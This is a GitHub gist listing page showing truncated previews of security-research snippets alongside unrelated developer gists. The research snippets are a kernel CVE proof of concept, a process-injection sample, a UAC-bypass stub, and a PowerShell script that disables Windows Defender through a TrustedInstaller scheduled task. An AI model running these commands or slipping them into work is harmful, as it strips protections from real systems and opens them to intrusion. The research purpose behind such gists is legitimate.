Skip to content

Instantly share code, notes, and snippets.

View L4ys's full-sized avatar
😴
Lazy

Lays L4ys

😴
Lazy
View GitHub Profile
@jakeajames
jakeajames / poc.c
Last active May 1, 2023 19:58
CVE-2021-30955 PoC
#include <stdlib.h>
#include <stdio.h>
#include <pthread/pthread.h>
#include <mach/mach.h>
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[];
};
curl http://api.mainnet-beta.solana.com -X POST -H "Content-Type: application/json" -d '{
"jsonrpc": "2.0",
"id": 1,
"method": "getProgramAccounts",
"params": [
"cndyAnrLdpjq1Ssp1z8xxDsB8dxe7u4HL5Nxi2K5WXZ",
{
"encoding": "jsonParsed",
"filters": [ ]
}
@NtRaiseHardError
NtRaiseHardError / imagine-needing-writeprocessmemory-and-createremotethread.c
Last active June 28, 2022 15:47
Process injection without WriteProcessMemory or CreateRemoteThread/QueueUserApc
#include <Windows.h>
// example shellcode
// make sure to have 8 reserved bytes for 64-bit ret
// gadget to rop into the actual shellcode
CHAR shellcode[] = {
// 8 bytes here for jmp loop gadget
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA,
// actual shellcode starts here
0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA,
@tyranid
tyranid / doh.ps1
Created May 4, 2020 15:17
Something or other.
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a
$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()
$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')
@Merott
Merott / tailwind-colors-as-css-variables.md
Last active April 26, 2024 11:06
Expose Tailwind colors as CSS custom properties (variables)

This is a simple Tailwind plugin to expose all of Tailwind's colors, including any custom ones, as custom css properties on the :root element.

There are a couple of main reasons this is helpful:

  • You can reference all of Tailwind's colors—including any custom ones you define—from handwritten CSS code.
  • You can define all of your colors within the Tailwind configuration, and access the final values programmatically, which isn't possible if you did it the other way around: referencing custom CSS variables (defined in CSS code) from your Tailwind config.

See the Tailwind Plugins for more info on plugins.

@WanderingGlitch
WanderingGlitch / ida2to3.py
Created November 12, 2019 01:30
IDA 2to3 fixers to help move from the newer APIs
#!/usr/bin/env python
'''
This has some pretty gross hacks in it
But gives a general idea what it is like to write a 2to3 fixer
Basically run like this:
ida2to3.py /path/to/your/script /path/to/idc_bc695.py
Give it a once over to make sure it didn't break too much, then:
@hfiref0x
hfiref0x / akagi_58a.c
Created October 23, 2019 16:27
UAC bypass using EditionUpgradeManager COM interface
typedef interface IEditionUpgradeManager IEditionUpgradeManager;
typedef struct IEditionUpgradeManagerVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in IEditionUpgradeManager * This,
__RPC__in REFIID riid,
@darconeous
darconeous / tesla-key-card-protocol.md
Last active May 7, 2024 23:59
Tesla Key Card Protocol

Tesla Key Card Protocol

Researched by Robert Quattlebaum darco@deepdarc.com.

Last updated 2020-02-03.

Image of Tesla Key Card Image of Tesla Model 3 Key Fob

@gamozolabs
gamozolabs / coverage.rs
Created April 19, 2019 21:56
Compare coverage implementation in the old Vectorized Emulator
/// Generate a hash using the values in Zmm0 and return Zmm0
///
/// Clobbers Zmm1!!!
fn hash_zmm0(outasm: &mut falkasm::AsmStream, conststore: &mut ConstStore)
{
let kmask = Operand::KmaskRegister(KmaskType::Merge(KmaskReg::K1));
let thirt = Membc(Some(R10), None, conststore.add_const(13)
.unwind("Out of room for constant storage") as i64 * 4);
let sevent = Membc(Some(R10), None, conststore.add_const(17)
Update:
I moved this to a repo:
https://github.com/slinderud/ghidra-config
NOT COMPLETE. Alpha. Still alot of cleaning to do.
Edit:
$HOME/.ghidra/.ghidra-9.0/tools/_code_browser.tcd
This has some default settings to make it more IDA-Like.